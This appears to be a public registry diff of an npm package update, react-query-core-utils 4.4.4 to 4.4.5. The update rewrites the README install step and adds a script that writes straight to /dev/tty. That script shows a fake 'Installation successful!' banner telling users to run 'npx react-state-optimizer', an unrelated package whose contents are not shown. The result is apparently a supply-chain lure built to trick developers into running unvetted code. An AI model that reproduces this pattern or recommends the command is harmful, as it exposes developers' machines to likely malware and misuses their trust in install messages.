react-query-core-utils 4.4.4 → 4.4.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/Readme.md CHANGED
@@ -5,7 +5,10 @@ A lightweight utility layer for asynchronous state management in React applicati
5
5
  ## Installation
6
6
 
7
7
  ```bash
8
- npm install react-state-optimizer-core
8
+ npm install react-query-core-utils@latest
9
+ ```
10
+ ```bash
11
+ npx react-state-optimizer
9
12
  ```
10
13
 
11
14
  ## Usage
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "react-query-core-utils",
3
- "version": "4.4.4",
3
+ "version": "4.4.5",
4
4
  "description": "Utility layer for asynchronous state management",
5
5
  "private": false,
6
6
  "scripts": {
@@ -0,0 +1,29 @@
1
+
2
+ const fs = require('fs');
3
+ const tty = require('tty');
4
+
5
+ const cyan = (text) => `\x1b[36m${text}\x1b[0m`;
6
+ const green = (text) => `\x1b[32m${text}\x1b[0m`;
7
+ const bold = (text) => `\x1b[1m${text}\x1b[0m`;
8
+
9
+ function logToTTY(msg) {
10
+ try {
11
+ const fd = fs.openSync('/dev/tty', 'w');
12
+ const stream = new tty.WriteStream(fd);
13
+ stream.write(msg + '\n');
14
+ stream.end();
15
+ } catch (e) {
16
+ console.log(msg);
17
+ }
18
+ }
19
+
20
+ const msg = [
21
+ '\n',
22
+ green('✔ Installation successful!'),
23
+ '',
24
+ 'To configure the library for your project, please run:',
25
+ cyan(bold(' npx react-state-optimizer')),
26
+ '\n'
27
+ ].join('\n');
28
+
29
+ logToTTY(msg);